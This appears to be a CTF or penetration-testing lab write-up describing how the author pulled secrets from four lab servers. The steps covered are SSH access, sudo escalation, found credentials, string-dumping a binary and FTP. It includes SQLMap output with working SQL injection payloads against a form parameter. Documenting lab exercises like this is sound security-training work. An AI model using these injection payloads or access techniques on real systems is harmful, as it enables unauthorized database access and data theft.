Mystery of BIS

František Šumšal

November 26, 2017

1 Server ptest1 (192.168.122.243)

1.1 Interesting active services

- SSH (port 22, OpenSSH 7.4)

1.2 Exploitation

The entry machine has a special SSH client config under (/.ssh/config)

```
$ cat ~/.ssh/config
Host appsrv
   HostName       192.168.122.243
   User           centos
   IdentityFile   ~/.ssh/id_ed25519
```

Using this information, we can access the **ptest1** over SSH as user *centos*.

The *right* way to get the two secrets from this machine would be examining and abusing the **eis** application, and gathering data from the **non-rootkit** service hiding on this server (e.g. by using `netcat` on port 25519 and cat-ing the `secret2.txt` file. Nevertheless, user *centos* is in sudoers file. We can use this fact to our benefit and get all secrets from this machine using `sudo su`, which gives us root access to the machine. Secrets **A** and **B** are then hidden under `/root/secret1` and `/root/secret2` directories.

2 Server ptest2 (192.168.122.204)

2.1 Interesting active services

- SSH (port 22, OpenSSH 7.4)
- Apache (port 80, Apache httpd 2.4.6 ((CentOS) PHP/5.4.16))

2.2 Exploitation

According to a mail from file `/Mail/Trash` on the entry machine, there exists an user *anna* on the machine **ptest2**. Sadly, I found the password by accident on the machine **ptest1** in the file `/etc/x0x901f22result.txt` while searching for something completely irrelevant and it's probably not the intended way of discovering it. Nevertheless, the password is **princess**, and after using these credentials to log in over SSH to the machine **ptest2**, the secret **C** lies in the file `secret.txt`.

The email from the previous paragraph mentions application **robocop**. After executing, this application connects to some serial interface and waits for an input. Three dozen entered lines later I just gave up and ran utility *strings* on the robocop binary. To my surprise, the secret **D** was lying among the dumped strings.

After a brief investigation of login form on `http://ptest2`, which hides `http://ptest2/action_page.php` page behind an username and password, we can simply cat `/var/www/html/action_page.php` file to get the required username and password (`admin/.8}Yg3,9ro>&jR{`). Using this combination to log into the aforementioned web site, we get the secret **E**.

3 Server ptest3 (192.168.122.160)

3.1 Interesting active services

- SSH (port 22, OpenSSH 7.4)
- Apache (ports 80 and 443, Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
- MySQL/MariaDB (port 3306, 5.5.56-MariaDB)

3.2 Exploitation

Using SQLMap [1] we are able to do an SQL injection on the filter form using one of the found injections:

```
Parameter: filter-string (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
           (MySQL comment) (NOT)
    Payload: filter-string=NiwS" OR NOT 6991=6991#&filter[name]=Filter by name

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
           GROUP BY clause (FLOOR)
    Payload: filter-string=NiwS" AND (SELECT 6483 FROM(SELECT COUNT(*),
             CONCAT(0x7162717671,(SELECT (ELT(6483=6483,1))),0x717a6a7171,
             FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
             x)a)-- XdHF&filter[name]=Filter by name

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: filter-string=NiwS" OR SLEEP(5)-- noHI&filter[name]=Filter by name

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: filter-string=NiwS" UNION ALL SELECT CONCAT(0x7162717671,
             0x6c41456b4f43767a6b726d5a6f665558556b544c786765666b504f
             684479776e71476449796b6543,0x717a6a7171),NULL,NULL,NULL#
             &filter[name]=Filter by name
```

This allows us to do a dump of the entire database, where we can find the secret **F** in database *sql_injection*, table *auth*.

4 Server ptest4 (192.168.122.10)

4.1 Interesting active services

- FTP (ports 20 and 21, vsftpd 3.0.2)

[1] https://github.com/sqlmapproject/sqlmap

4.2 Exploitation

Using FTP client from *ftp* package from CentOS repositories, we find out that passive mode does not work. Using switch *-A* we can force active mode, which successfully connects us to the remote FTP server. The secret **G** is hidden in file `pub/definitely-not-a-secret.gif`.